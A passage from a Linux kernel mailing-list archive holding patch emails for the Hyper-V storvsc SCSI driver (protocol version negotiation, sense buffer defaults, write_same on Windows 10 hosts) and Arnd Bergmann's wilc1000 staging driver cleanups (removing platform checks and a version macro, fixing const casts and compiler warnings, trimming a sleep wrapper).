POST_WIN7_STORVSC_SENSE_BUFFER_SIZE, > + 0 > + }, > + { > + VMSTOR_PROTO_VERSION_WIN7, > + PRE_WIN8_STORVSC_SENSE_BUFFER_SIZE, > + sizeof(struct vmscsi_win8_extension), > + }, > + { > + VMSTOR_PROTO_VERSION_WIN6, > + PRE_WIN8_STORVSC_SENSE_BUFFER_SIZE, > + sizeof(struct vmscsi_win8_extension), > + } > +}; > + > + > +/* > * This structure is sent during the intialization phase to get the different > * properties of the channel. > */ > @@ -871,7 +915,7 @@ static int storvsc_channel_init(struct hv_device *device) > struct storvsc_device *stor_device; > struct storvsc_cmd_request *request; > struct vstor_packet *vstor_packet; > - int ret, t; > + int ret, t, i; > int max_chns; > bool process_sub_channels = false; > > @@ -911,36 +955,59 @@ static int storvsc_channel_init(struct hv_device > *device) > goto cleanup; > > > - /* reuse the packet for version range supported */ > - memset(vstor_packet, 0, sizeof(struct vstor_packet)); > - vstor_packet->operation = > VSTOR_OPERATION_QUERY_PROTOCOL_VERSION; > - vstor_packet->flags = REQUEST_COMPLETION_FLAG; > + for (i = 0; i < VMSTOR_NUM_PROTOCOLS; i++) { > + /* reuse the packet for version range supported */ > + memset(vstor_packet, 0, sizeof(struct vstor_packet)); > + vstor_packet->operation = > + VSTOR_OPERATION_QUERY_PROTOCOL_VERSION; > + vstor_packet->flags = REQUEST_COMPLETION_FLAG; > > - vstor_packet->version.major_minor = vmstor_proto_version; > + vstor_packet->version.major_minor = > + vmstor_protocols[i].protocol_version; > > - /* > - * The revision number is only used in Windows; set it to 0. > - */ > - vstor_packet->version.revision = 0; > + /* > + * The revision number is only used in Windows; set it to 0. > + */ > + vstor_packet->version.revision = 0; > > - ret = vmbus_sendpacket(device->channel, vstor_packet, > + ret = vmbus_sendpacket(device->channel, vstor_packet, > (sizeof(struct vstor_packet) - > vmscsi_size_delta), > (unsigned long)request
RE: [PATCH 4/6] scsi: storvsc: use correct defaults for values determined by protocol negotiation
> -Original Message- > From: devel [mailto:driverdev-devel-boun...@linuxdriverproject.org] On > Behalf Of K. Y. Srinivasan > Sent: Friday, May 29, 2015 1:29 PM > To: gre...@linuxfoundation.org; linux-ker...@vger.kernel.org; > de...@linuxdriverproject.org; oher...@suse.com; jbottom...@parallels.com; > h...@infradead.org; linux-s...@vger.kernel.org; a...@canonical.com; > vkuzn...@redhat.com; jasow...@redhat.com > Cc: Keith Mange > Subject: [PATCH 4/6] scsi: storvsc: use correct defaults for values determined > by protocol negotiation > > From: keith.ma...@microsoft.com > > Use correct defaults for values determined by protocol negotiation, instead of > resetting them with every scsi controller. > Reviewed-by: Long Li > Tested-by: Alex Ng > Signed-off-by: Keith Mange > Signed-off-by: K. Y. Srinivasan > --- > drivers/scsi/storvsc_drv.c | 33 +++-- > 1 files changed, 19 insertions(+), 14 deletions(-) > > diff --git a/drivers/scsi/storvsc_drv.c b/drivers/scsi/storvsc_drv.c index > f29871e..6f38cdf 100644 > --- a/drivers/scsi/storvsc_drv.c > +++ b/drivers/scsi/storvsc_drv.c > @@ -151,19 +151,17 @@ struct hv_fc_wwn_packet { > > /* > * Sense buffer size changed in win8; have a run-time > - * variable to track the size we should use. > + * variable to track the size we should use. This value will > + * likely change during protocol negotiation but it is valid > + * to start by assuming pre-Win8. > */ > -static int sense_buffer_size; > +static int sense_buffer_size = PRE_WIN8_STORVSC_SENSE_BUFFER_SIZE; > > /* > - * The size of the vmscsi_request has changed in win8. The > - * additional size is because of new elements added to the > - * structure. These elements are valid only when we are talking > - * to a win8 host. > - * Track the correction to size we need to apply. > - */ > - > -static int vmscsi_size_delta; > + * The storage protocol version is determined during the > + * initial exchange with the host. It will indicate which > + * storage functionality is available in the host. > +*/ > static int vmstor_proto_version; > > struct vmscsi_win8_extension { > @@ -209,6 +207,17 @@ struct vmscsi_request { > > > /* > + * The size of the vmscsi_request has changed in win8. The > + * additional size is because of new elements added to the > + * structure. These elements are valid only when we are talking > + * to a win8 host. > + * Track the correction to size we need to apply. This value > + * will likely change during protocol negotiation but it is > + * valid to start by assuming pre-Win8. > + */ > +static int vmscsi_size_delta = sizeof(struct vmscsi_win8_extension); > + > +/* > * The list of storage protocols in order of preference. > */ > struct vmstor_protocol { > @@ -1810,14 +1819,10 @@ static int storvsc_probe(struct hv_device *device, >*/ > > if (vmbus_proto_version < VERSION_WIN8) { > - sense_buffer_size = PRE_WIN8_STORVSC_SENSE_BUFFER_SIZE; > - vmscsi_size_delta = sizeof(struct vmscsi_win8_extension); > max_luns_per_target = > STORVSC_IDE_MAX_LUNS_PER_TARGET; > max_targets = STORVSC_IDE_MAX_TARGETS; > max_channels = STORVSC_IDE_MAX_CHANNELS; > } else { > - sense_buffer_size = > POST_WIN7_STORVSC_SENSE_BUFFER_SIZE; > - vmscsi_size_delta = 0; > max_luns_per_target = STORVSC_MAX_LUNS_PER_TARGET; > max_targets = STORVSC_MAX_TARGETS; > max_channels = STORVSC_MAX_CHANNELS; > -- > 1.7.4.1 > > ___ > devel mailing list > de...@linuxdriverproject.org > http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
RE: [PATCH 5/6] scsi: storvsc: use storage protocol version to determine storage capabilities
> -Original Message- > From: devel [mailto:driverdev-devel-boun...@linuxdriverproject.org] On > Behalf Of K. Y. Srinivasan > Sent: Friday, May 29, 2015 1:29 PM > To: gre...@linuxfoundation.org; linux-ker...@vger.kernel.org; > de...@linuxdriverproject.org; oher...@suse.com; jbottom...@parallels.com; > h...@infradead.org; linux-s...@vger.kernel.org; a...@canonical.com; > vkuzn...@redhat.com; jasow...@redhat.com > Cc: Keith Mange > Subject: [PATCH 5/6] scsi: storvsc: use storage protocol version to determine > storage capabilities > > From: keith.ma...@microsoft.com > > Use storage protocol version instead of vmbus protocol version when > determining storage capabilities. > Reviewed-by: Long Li > Tested-by: Alex Ng > Signed-off-by: Keith Mange > Signed-off-by: K. Y. Srinivasan > --- > drivers/scsi/storvsc_drv.c |8 > 1 files changed, 4 insertions(+), 4 deletions(-) > > diff --git a/drivers/scsi/storvsc_drv.c b/drivers/scsi/storvsc_drv.c index > 6f38cdf..58fa47a 100644 > --- a/drivers/scsi/storvsc_drv.c > +++ b/drivers/scsi/storvsc_drv.c > @@ -1049,7 +1049,7 @@ static int storvsc_channel_init(struct hv_device > *device) >* support multi-channel. >*/ > max_chns = vstor_packet- > >storage_channel_properties.max_channel_cnt; > - if (vmbus_proto_version >= VERSION_WIN8) { > + if (vmstor_proto_version >= VMSTOR_PROTO_VERSION_WIN8) { > if (vstor_packet->storage_channel_properties.flags & > STORAGE_CHANNEL_SUPPORTS_MULTI_CHANNEL) > process_sub_channels = true; > @@ -1491,9 +1491,9 @@ static int storvsc_device_configure(struct > scsi_device *sdevice) >* if the device is a MSFT virtual device. >*/ > if (!strncmp(sdevice->vendor, "Msft", 4)) { > - switch (vmbus_proto_version) { > - case VERSION_WIN8: > - case VERSION_WIN8_1: > + switch (vmstor_proto_version) { > + case VMSTOR_PROTO_VERSION_WIN8: > + case VMSTOR_PROTO_VERSION_WIN8_1: > sdevice->scsi_level = SCSI_SPC_3; > break; > } > -- > 1.7.4.1 > > ___ > devel mailing list > de...@linuxdriverproject.org > http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
RE: [PATCH 6/6] scsi: storvsc: Allow write_same when host is windows 10
> -Original Message- > From: devel [mailto:driverdev-devel-boun...@linuxdriverproject.org] On > Behalf Of K. Y. Srinivasan > Sent: Friday, May 29, 2015 1:29 PM > To: gre...@linuxfoundation.org; linux-ker...@vger.kernel.org; > de...@linuxdriverproject.org; oher...@suse.com; jbottom...@parallels.com; > h...@infradead.org; linux-s...@vger.kernel.org; a...@canonical.com; > vkuzn...@redhat.com; jasow...@redhat.com > Cc: Keith Mange > Subject: [PATCH 6/6] scsi: storvsc: Allow write_same when host is windows 10 > > From: keith.ma...@microsoft.com > > Allow WRITE_SAME for Windows10 and above hosts. > Reviewed-by: Long Li > Tested-by: Alex Ng > Signed-off-by: Keith Mange > Signed-off-by: K. Y. Srinivasan > --- > drivers/scsi/storvsc_drv.c |6 +- > 1 files changed, 5 insertions(+), 1 deletions(-) > > diff --git a/drivers/scsi/storvsc_drv.c b/drivers/scsi/storvsc_drv.c index > 58fa47a..021cbdf 100644 > --- a/drivers/scsi/storvsc_drv.c > +++ b/drivers/scsi/storvsc_drv.c > @@ -1488,7 +1488,8 @@ static int storvsc_device_configure(struct > scsi_device *sdevice) > > /* >* If the host is WIN8 or WIN8 R2, claim conformance to SPC-3 > - * if the device is a MSFT virtual device. > + * if the device is a MSFT virtual device. If the host is > + * WIN10 or newer, allow write_same. >*/ > if (!strncmp(sdevice->vendor, "Msft", 4)) { > switch (vmstor_proto_version) { > @@ -1497,6 +1498,9 @@ static int storvsc_device_configure(struct > scsi_device *sdevice) > sdevice->scsi_level = SCSI_SPC_3; > break; > } > + > + if (vmstor_proto_version >= > VMSTOR_PROTO_VERSION_WIN10) > + sdevice->no_write_same = 0; > } > > return 0; > -- > 1.7.4.1 > > ___ > devel mailing list > de...@linuxdriverproject.org > http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH 02/16] staging: wilc1000: remove platform version checks
For code that is integrated into mainline Linux, checks for the OS platform make no sense, because we know that we are on Linux. This removes all checks and the associated dead code. Signed-off-by: Arnd Bergmann --- drivers/staging/wilc1000/Makefile | 3 +-- drivers/staging/wilc1000/coreconfigurator.c | 2 -- drivers/staging/wilc1000/wilc_osconfig.h| 15 --- drivers/staging/wilc1000/wilc_oswrapper.h | 14 -- 4 files changed, 1 insertion(+), 33 deletions(-) diff --git a/drivers/staging/wilc1000/Makefile b/drivers/staging/wilc1000/Makefile index 84bd975ff3be..4aa0d84ba8da 100644 --- a/drivers/staging/wilc1000/Makefile +++ b/drivers/staging/wilc1000/Makefile @@ -13,8 +13,7 @@ ccflags-y += -DSTA_FIRMWARE=\"atmel/wilc1000_fw.bin\" \ ccflags-y += -I$(src)/ -DEXPORT_SYMTAB -D__CHECK_ENDIAN__ -DWILC_ASIC_A0 \ -DPLL_WORKAROUND -DCONNECT_DIRECT -DAGING_ALG \ -DWILC_PARSE_SCAN_IN_HOST -DDISABLE_PWRSAVE_AND_SCAN_DURING_IP \ - -DWILC_PLATFORM=WILC_LINUXKERNEL -Wno-unused-function -DUSE_WIRELESS \ - -DWILC_DEBUGFS + -Wno-unused-function -DUSE_WIRELESS -DWILC_DEBUGFS #ccflags-y += -DTCP_ACK_FILTER ccflags-$(CONFIG_WILC1000_PREALLOCATE_DURING_SYSTEM_BOOT) += -DMEMORY_STATIC \ diff --git a/drivers/staging/wilc1000/coreconfigurator.c b/drivers/staging/wilc1000/coreconfigurator.c index 01625bdda454..d5a076ed2426 100644 --- a/drivers/staging/wilc1000/coreconfigurator.c +++ b/drivers/staging/wilc1000/coreconfigurator.c @@ -2123,7 +2123,6 @@ WILC_Sint32 CoreConfiguratorDeInit(void) #ifndef SIMULATION -#if WILC_PLATFORM != WILC_WIN32 /*Using the global handle of the driver*/ extern wilc_wlan_oup_t *gpstrWlanOps; /** @@ -2198,4 +2197,3 @@ WILC_Sint32 SendConfigPkt(WILC_Uint8 u8Mode, tstrWID *pstrWIDs, return ret; } #endif -#endif diff --git a/drivers/staging/wilc1000/wilc_osconfig.h b/drivers/staging/wilc1000/wilc_osconfig.h index 8e89702c79be..2e3700e2c1ad 100644 --- a/drivers/staging/wilc1000/wilc_osconfig.h +++ b/drivers/staging/wilc1000/wilc_osconfig.h @@ -1,18 +1,3 @@ -/* - * Automatically generated C config: don't edit - * Tue Aug 10 19:52:12 2010 - */ - -/* OSes supported */ -#define WILC_WIN32 0 -#define WILC_NU1 -#define WILC_MTK 2 -#define WILC_LINUX 3 -#define WILC_LINUXKERNEL 4 -/* the current OS */ -/* #define WILC_PLATFORM WILC_LINUXKERNEL */ - - /* Logs options */ #define WILC_LOGS_NOTHING 0 #define WILC_LOGS_WARN 1 diff --git a/drivers/staging/wilc1000/wilc_oswrapper.h b/drivers/staging/wilc1000/wilc_oswrapper.h index e50267ec1ef4..df288c8be626 100644 --- a/drivers/staging/wilc1000/wilc_oswrapper.h +++ b/drivers/staging/wilc1000/wilc_oswrapper.h @@ -46,21 +46,7 @@ typedef WILC_Uint16 WILC_WideChar; /* Os Configuration File */ #include "wilc_osconfig.h" - -/* Platform specific include */ -#if WILC_PLATFORM == WILC_WIN32 -#include "wilc_platform.h" -#elif WILC_PLATFORM == WILC_NU -#include "wilc_platform.h" -#elif WILC_PLATFORM == WILC_MTK #include "wilc_platform.h" -#elif WILC_PLATFORM == WILC_LINUX -#include "wilc_platform.h" -#elif WILC_PLATFORM == WILC_LINUXKERNEL -#include "wilc_platform.h" -#else -#error "OS not supported" -#endif /* Logging Functions */ #include "wilc_log.h" -- 2.1.0.rc2 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH 15/16] staging: wilc1000: fix const cast warnings
The wilc1000 driver produces a lot of warnings about invalid casts between const and non-const variables. This reworks the code to avoid all those warnings, by marking variables and function arguments const. A lot of the types use WILC_Uint8, I change them to const u8 for style reasons, as I'm touching them anyway. Signed-off-by: Arnd Bergmann --- drivers/staging/wilc1000/host_interface.c | 32 --- drivers/staging/wilc1000/host_interface.h | 24 - drivers/staging/wilc1000/linux_mon.c | 2 +- drivers/staging/wilc1000/wilc_memory.c| 2 +- drivers/staging/wilc1000/wilc_memory.h| 2 +- drivers/staging/wilc1000/wilc_wfi_cfgoperations.c | 12 - drivers/staging/wilc1000/wilc_wfi_cfgoperations.h | 2 +- 7 files changed, 39 insertions(+), 37 deletions(-) diff --git a/drivers/staging/wilc1000/host_interface.c b/drivers/staging/wilc1000/host_interface.c index 8f7adc760500..6d9bd4983e90 100644 --- a/drivers/staging/wilc1000/host_interface.c +++ b/drivers/staging/wilc1000/host_interface.c @@ -4912,8 +4912,8 @@ WILC_Sint32 host_int_add_wep_key_bss_ap(WILC_WFIDrvHandle hWFIDrv, const WILC_Ui * @date 8 March 2012 * @version 1.0 */ -WILC_Sint32 host_int_add_ptk(WILC_WFIDrvHandle hWFIDrv, WILC_Uint8 *pu8Ptk, WILC_Uint8 u8PtkKeylen, -const WILC_Uint8 *mac_addr, WILC_Uint8 *pu8RxMic, WILC_Uint8 *pu8TxMic, WILC_Uint8 mode, WILC_Uint8 u8Ciphermode, WILC_Uint8 u8Idx) +WILC_Sint32 host_int_add_ptk(WILC_WFIDrvHandle hWFIDrv, const u8 *pu8Ptk, WILC_Uint8 u8PtkKeylen, +const u8 *mac_addr, const u8 *pu8RxMic, const u8 *pu8TxMic, WILC_Uint8 mode, WILC_Uint8 u8Ciphermode, WILC_Uint8 u8Idx) { WILC_Sint32 s32Error = WILC_SUCCESS; tstrWILC_WFIDrv *pstrWFIDrv = (tstrWILC_WFIDrv *)hWFIDrv; @@ -5014,9 +5014,9 @@ WILC_Sint32 host_int_add_ptk(WILC_WFIDrvHandle hWFIDrv, WILC_Uint8 *pu8Ptk, WILC * @date 8 March 2012 * @version 1.0 */ -WILC_Sint32 host_int_add_rx_gtk(WILC_WFIDrvHandle hWFIDrv, WILC_Uint8 *pu8RxGtk, WILC_Uint8 u8GtkKeylen, - WILC_Uint8 u8KeyIdx, WILC_Uint32 u32KeyRSClen, WILC_Uint8 *KeyRSC, - WILC_Uint8 *pu8RxMic, WILC_Uint8 *pu8TxMic, WILC_Uint8 mode, WILC_Uint8 u8Ciphermode) +WILC_Sint32 host_int_add_rx_gtk(WILC_WFIDrvHandle hWFIDrv, const u8 *pu8RxGtk, WILC_Uint8 u8GtkKeylen, + WILC_Uint8 u8KeyIdx, WILC_Uint32 u32KeyRSClen, const u8 *KeyRSC, + const u8 *pu8RxMic, const u8 *pu8TxMic, WILC_Uint8 mode, WILC_Uint8 u8Ciphermode) { WILC_Sint32 s32Error = WILC_SUCCESS; tstrWILC_WFIDrv *pstrWFIDrv = (tstrWILC_WFIDrv *)hWFIDrv; @@ -5531,7 +5531,7 @@ WILC_Sint32 host_int_get_start_scan_req(WILC_WFIDrvHandle hWFIDrv, WILC_Uint8 *p * @version 1.0 */ WILC_Sint32 host_int_set_join_req(WILC_WFIDrvHandle hWFIDrv, WILC_Uint8 *pu8bssid, - WILC_Uint8 *pu8ssid, size_t ssidLen, + const u8 *pu8ssid, size_t ssidLen, const WILC_Uint8 *pu8IEs, size_t IEsLen, tWILCpfConnectResult pfConnectResult, void *pvUserArg, WILC_Uint8 u8security, AUTHTYPE_T tenuAuth_type, @@ -6090,7 +6090,7 @@ WILC_Sint32 host_int_test_set_int_wid(WILC_WFIDrvHandle hWFIDrv, WILC_Uint32 u32 * @date * @version 1.0 */ -WILC_Sint32 host_int_get_inactive_time(WILC_WFIDrvHandle hWFIDrv, WILC_Uint8 *mac, WILC_Uint32 *pu32InactiveTime) +WILC_Sint32 host_int_get_inactive_time(WILC_WFIDrvHandle hWFIDrv, const u8 *mac, WILC_Uint32 *pu32InactiveTime) { WILC_Sint32 s32Error = WILC_SUCCESS; tstrWILC_WFIDrv *pstrWFIDrv = (tstrWILC_WFIDrv *)hWFIDrv; @@ -7364,10 +7364,11 @@ WILC_Sint32 host_int_add_station(WILC_WFIDrvHandle hWFIDrv, tstrWILC_AddStaParam WILC_memcpy(pstrAddStationMsg, pstrStaParams, sizeof(tstrWILC_AddStaParam)); if (pstrAddStationMsg->u8NumRates > 0) { - pstrAddStationMsg->pu8Rates = WILC_MALLOC(pstrAddStationMsg->u8NumRates); - WILC_NULLCHECK(s32Error, pstrAddStationMsg->pu8Rates); + u8 *rates = WILC_MALLOC(pstrAddStationMsg->u8NumRates); + WILC_NULLCHECK(s32Error, rates); - WILC_memcpy(pstrAddStationMsg->pu8Rates, pstrStaParams->pu8Rates, pstrAddStationMsg->u8NumRates); + WILC_memcpy(rates, pstrStaParams->pu8Rates, pstrAddStationMsg->u8NumRates); + pstrAddStationMsg->pu8Rates = rates; } @@ -7391,7 +7392,7 @@ WILC_Sint32 host_int_add_station(WILC_WFIDrvHandle hWFIDrv, tstrWILC_AddStaParam * @date * @version 1.0 */ -WILC_Sint32 host_int_del_station(WILC_WFIDrvHandle hWFIDrv, WILC_Uint8 *pu8MacAddr) +WILC_Sint32 host_int_del_station(
[PATCH 04/16] staging: wilc1000: remove __DRIVER_VERSION__ macro
The driver version is meaningless, and in particular does not have to be passed from the Makefile. This removes the macros, but leaves the behavior of printing the 10.2 version untouched for the moment. Signed-off-by: Arnd Bergmann --- drivers/staging/wilc1000/Makefile | 6 -- drivers/staging/wilc1000/linux_wlan.c | 2 +- 2 files changed, 1 insertion(+), 7 deletions(-) diff --git a/drivers/staging/wilc1000/Makefile b/drivers/staging/wilc1000/Makefile index 4aa5f6764df4..13e3ed8ef31e 100644 --- a/drivers/staging/wilc1000/Makefile +++ b/drivers/staging/wilc1000/Makefile @@ -32,9 +32,3 @@ wilc1000-objs := wilc_wfi_netdevice.o wilc_wfi_cfgoperations.o linux_wlan.o linu wilc1000-$(CONFIG_WILC1000_SDIO) += linux_wlan_sdio.o wilc1000-$(CONFIG_WILC1000_SPI) += linux_wlan_spi.o - -WILC1000_SRC_VERSION = 10.0 -PATCHLEVEL = 2 -WILC1000_FW_VERSION = 0 - -ccflags-y += -D__DRIVER_VERSION__=\"$(WILC1000_SRC_VERSION).$(PATCHLEVEL)\" diff --git a/drivers/staging/wilc1000/linux_wlan.c b/drivers/staging/wilc1000/linux_wlan.c index 3f8b3c54f196..2a74441af09e 100644 --- a/drivers/staging/wilc1000/linux_wlan.c +++ b/drivers/staging/wilc1000/linux_wlan.c @@ -2747,7 +2747,7 @@ static int __init init_wilc_driver(void) #endif printk("IN INIT FUNCTION\n"); - printk("*** WILC1000 driver VERSION=[%s] FW_VER=[%s] ***\n", __DRIVER_VERSION__, __DRIVER_VERSION__); + printk("*** WILC1000 driver VERSION=[10.2] FW_VER=[10.2] ***\n"); linux_wlan_device_power(1); msleep(100); -- 2.1.0.rc2 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH 16/16] staging: wilc1000: fix compiler warnings
This avoids the remaining warnings that one gets on a normal build: unused variables, unused labels, and invalid printk format strings. Signed-off-by: Arnd Bergmann --- drivers/staging/wilc1000/linux_wlan.c | 8 ++-- drivers/staging/wilc1000/linux_wlan_spi.c | 3 --- drivers/staging/wilc1000/wilc_spi.c | 4 ++-- drivers/staging/wilc1000/wilc_wlan.c | 6 ++ 4 files changed, 10 insertions(+), 11 deletions(-) diff --git a/drivers/staging/wilc1000/linux_wlan.c b/drivers/staging/wilc1000/linux_wlan.c index 2a74441af09e..46c7e4f3471d 100644 --- a/drivers/staging/wilc1000/linux_wlan.c +++ b/drivers/staging/wilc1000/linux_wlan.c @@ -1025,7 +1025,6 @@ int repeat_power_cycle(perInterface_wlan_t *nic); static int linux_wlan_start_firmware(perInterface_wlan_t *nic) { - static int timeout = 5; int ret = 0; /* start firmware */ PRINT_D(INIT_DBG, "Starting Firmware ...\n"); @@ -1040,6 +1039,7 @@ static int linux_wlan_start_firmware(perInterface_wlan_t *nic) ret = linux_wlan_lock_timeout(&g_linux_wlan->sync_event, 5000); if (ret) { #ifdef COMPLEMENT_BOOT + static int timeout = 5; if (timeout--) { PRINT_D(INIT_DBG, "repeat power cycle[%d]", timeout); @@ -1675,7 +1675,9 @@ _fail_2: linux_wlan_unlock(&g_linux_wlan->rxq_event); kthread_stop(g_linux_wlan->rxq_thread); +#ifndef TCP_ENHANCEMENTS _fail_1: +#endif #if (RX_BH_TYPE == RX_BH_KTHREAD) /*De-Initialize 1st thread*/ g_linux_wlan->close = 1; @@ -1999,8 +2001,8 @@ _fail_fw_start_: _fail_irq_enable_: #if (defined WILC_SDIO) && (!defined WILC_SDIO_IRQ_GPIO) disable_sdio_interrupt(); -#endif _fail_irq_init_: +#endif #if (!defined WILC_SDIO) || (defined WILC_SDIO_IRQ_GPIO) deinit_irq(g_linux_wlan); @@ -2522,8 +2524,10 @@ void frmw_to_linux(uint8_t *buff, uint32_t size, uint32_t pkt_offset) int stats; unsigned char *buff_to_send = NULL; struct sk_buff *skb; +#ifndef TCP_ENHANCEMENTS char *pu8UdpBuffer; struct iphdr *ih; +#endif struct net_device *wilc_netdev; perInterface_wlan_t *nic; diff --git a/drivers/staging/wilc1000/linux_wlan_spi.c b/drivers/staging/wilc1000/linux_wlan_spi.c index 0c30bbb5fa65..e5d794590f00 100644 --- a/drivers/staging/wilc1000/linux_wlan_spi.c +++ b/drivers/staging/wilc1000/linux_wlan_spi.c @@ -102,9 +102,6 @@ int linux_spi_init(void *vp) if (called == 0) { called++; - if (&wilc_bus == NULL) { - PRINT_ER("wilc_bus address is NULL\n"); - } ret = spi_register_driver(&wilc_bus); } diff --git a/drivers/staging/wilc1000/wilc_spi.c b/drivers/staging/wilc1000/wilc_spi.c index 2f38ddabc654..d0e761080ca5 100644 --- a/drivers/staging/wilc1000/wilc_spi.c +++ b/drivers/staging/wilc1000/wilc_spi.c @@ -1194,10 +1194,10 @@ static int spi_init(wilc_wlan_inp_t *inp, wilc_debug_func func) /* Read failed. Try with CRC off. This might happen when module * is removed but chip isn't reset*/ g_spi.crc_off = 1; - PRINT_ER("[wilc spi]: Failed internal read protocol with CRC on, retyring with CRC off...\n", __LINE__); + PRINT_ER("[wilc spi]: Failed internal read protocol with CRC on, retyring with CRC off...\n"); if (!spi_internal_read(WILC_SPI_PROTOCOL_OFFSET, ®)) { /* Reaad failed with both CRC on and off, something went bad */ - PRINT_ER("[wilc spi]: Failed internal read protocol...\n", __LINE__); + PRINT_ER("[wilc spi]: Failed internal read protocol...\n"); return 0; } } diff --git a/drivers/staging/wilc1000/wilc_wlan.c b/drivers/staging/wilc1000/wilc_wlan.c index 92ed42ad49ac..badc8743dd1a 100644 --- a/drivers/staging/wilc1000/wilc_wlan.c +++ b/drivers/staging/wilc1000/wilc_wlan.c @@ -894,8 +894,6 @@ INLINE void chip_wakeup(void) #endif void chip_sleep_manually(WILC_Uint32 u32SleepTime) { - uint32_t val32; - if (genuChipPSstate != CHIP_WAKEDUP) { /* chip is already sleeping. Do nothing */ return; @@ -2302,7 +2300,7 @@ int wilc_wlan_init(wilc_wlan_inp_t *inp, wilc_wlan_oup_t *oup) #else g_wlan.tx_buffer = (uint8_t *)g_wlan.os_func.os_malloc(g_wlan.tx_buffer_size); #endif - PRINT_D(TX_DBG, "g_wlan.tx_buffer = 0x%x\n", g_wlan.tx_buffer); + PRINT_D(TX_DBG, "g_wlan.tx_buffer = %p\n", g_wlan.tx_buffer); if (g_wlan.tx_buffer == WILC_NULL) { /* ENOBUFS 105 */ @@ -2319,7 +2317,7 @@ int wilc_wlan_init(wilc_wlan_inp_t *inp, wilc_wlan_oup_t *oup) #else g_wlan.rx_buffer = (uint8_t *)g_wlan.os_func.os_malloc(g_wlan.rx_buffer_size); #endif - PRINT_D(TX_DBG, "g_wlan
[PATCH 10/16] staging: wilc1000: clean up sleep wrapper
The driver has a simple wrapper around msleep, as well as a more advanced sleep function that is unused. This removes the unused code and the options to turn the feature on or off. A follow-up should rework the code to use msleep directly. Signed-off-by: Arnd Bergmann --- drivers/staging/wilc1000/wilc_osconfig.h | 2 -- drivers/staging/wilc1000/wilc_oswrapper.h | 2 -- drivers/staging/wilc1000/wilc_platform.h | 6 -- drivers/staging/wilc1000/wilc_sleep.c | 10 -- drivers/staging/wilc1000/wilc_sleep.h | 30 +- 5 files changed, 1 insertion(+), 49 deletions(-) diff --git a/drivers/staging/wilc1000/wilc_osconfig.h b/drivers/staging/wilc1000/wilc_osconfig.h index d0bf08f89906..6da42c837928 100644 --- a/drivers/staging/wilc1000/wilc_osconfig.h +++ b/drivers/staging/wilc1000/wilc_osconfig.h @@ -11,8 +11,6 @@ /* OS features supported */ /* #define CONFIG_WILC_SEMAPHORE_TIMEOUT 1 */ -#define CONFIG_WILC_SLEEP_FEATURE 1 -#define CONFIG_WILC_SLEEP_HI_RES 1 #define CONFIG_WILC_TIMER_FEATURE 1 /* #define CONFIG_WILC_TIMER_PERIODIC 1 */ /* #define CONFIG_WILC_ASSERTION_SUPPORT 1 */ diff --git a/drivers/staging/wilc1000/wilc_oswrapper.h b/drivers/staging/wilc1000/wilc_oswrapper.h index 32fe48a6034b..2af32fff84aa 100644 --- a/drivers/staging/wilc1000/wilc_oswrapper.h +++ b/drivers/staging/wilc1000/wilc_oswrapper.h @@ -58,9 +58,7 @@ typedef WILC_Uint16 WILC_WideChar; #include "wilc_semaphore.h" /* Sleep support */ -#ifdef CONFIG_WILC_SLEEP_FEATURE #include "wilc_sleep.h" -#endif /* Timer support */ #ifdef CONFIG_WILC_TIMER_FEATURE diff --git a/drivers/staging/wilc1000/wilc_platform.h b/drivers/staging/wilc1000/wilc_platform.h index 36e2e707354b..2c66c3f3a2c5 100644 --- a/drivers/staging/wilc1000/wilc_platform.h +++ b/drivers/staging/wilc1000/wilc_platform.h @@ -22,12 +22,6 @@ * #error This feature is not supported by this OS #endif*/ -/* CONFIG_WILC_SLEEP_FEATURE is implemented */ - -/* remove the following block when implementing its feature */ -/* #ifdef CONFIG_WILC_SLEEP_HI_RES */ -/* #error This feature is not supported by this OS */ -/* #endif */ /* CONFIG_WILC_TIMER_FEATURE is implemented */ diff --git a/drivers/staging/wilc1000/wilc_sleep.c b/drivers/staging/wilc1000/wilc_sleep.c index b8f45146956b..98a079f3d6c9 100644 --- a/drivers/staging/wilc1000/wilc_sleep.c +++ b/drivers/staging/wilc1000/wilc_sleep.c @@ -1,8 +1,6 @@ #include "wilc_oswrapper.h" -#ifdef CONFIG_WILC_SLEEP_FEATURE - /* * @authormdaftedar * @date 10 Aug 2010 @@ -18,11 +16,3 @@ void WILC_Sleep(WILC_Uint32 u32TimeMilliSec) } } -#endif - -/* #ifdef CONFIG_WILC_SLEEP_HI_RES */ -void WILC_SleepMicrosec(WILC_Uint32 u32TimeMicoSec) -{ - usleep_range(u32TimeMicoSec, u32TimeMicoSec); -} -/* #endif */ diff --git a/drivers/staging/wilc1000/wilc_sleep.h b/drivers/staging/wilc1000/wilc_sleep.h index d640fb553aca..2865c8e44346 100644 --- a/drivers/staging/wilc1000/wilc_sleep.h +++ b/drivers/staging/wilc1000/wilc_sleep.h @@ -2,19 +2,6 @@ #define __WILC_SLEEP_H__ /*! - * @file wilc_sleep.h - * @brief Sleep OS Wrapper functionality - * @authorsyounan - * @sawilc_oswrapper.h top level OS wrapper file - * @date 10 Aug 2010 - * @version 1.0 - */ - -#ifndef CONFIG_WILC_SLEEP_FEATURE -#error the feature WILC_OS_FEATURE_SLEEP must be supported to include this file -#endif - -/*! * @brief forces the current thread to sleep until the given time has elapsed * @param[in] u32TimeMilliSec Time to sleep in Milli seconds * @saWILC_SleepMicrosec @@ -24,22 +11,7 @@ * @note This function offers a relatively innacurate and low resolution * sleep, for accurate high resolution sleep use u32TimeMicoSec */ +/* TODO: remove and open-code in callers */ void WILC_Sleep(WILC_Uint32 u32TimeMilliSec); -#ifdef CONFIG_WILC_SLEEP_HI_RES -/*! - * @brief forces the current thread to sleep until the given time has elapsed - * @param[in] u32TimeMicoSec Time to sleep in Micro seconds - * @saWILC_Sleep - * @authorsyounan - * @date 10 Aug 2010 - * @version 1.0 - * @note This function offers an acurare high resolution sleep, depends on - * the feature 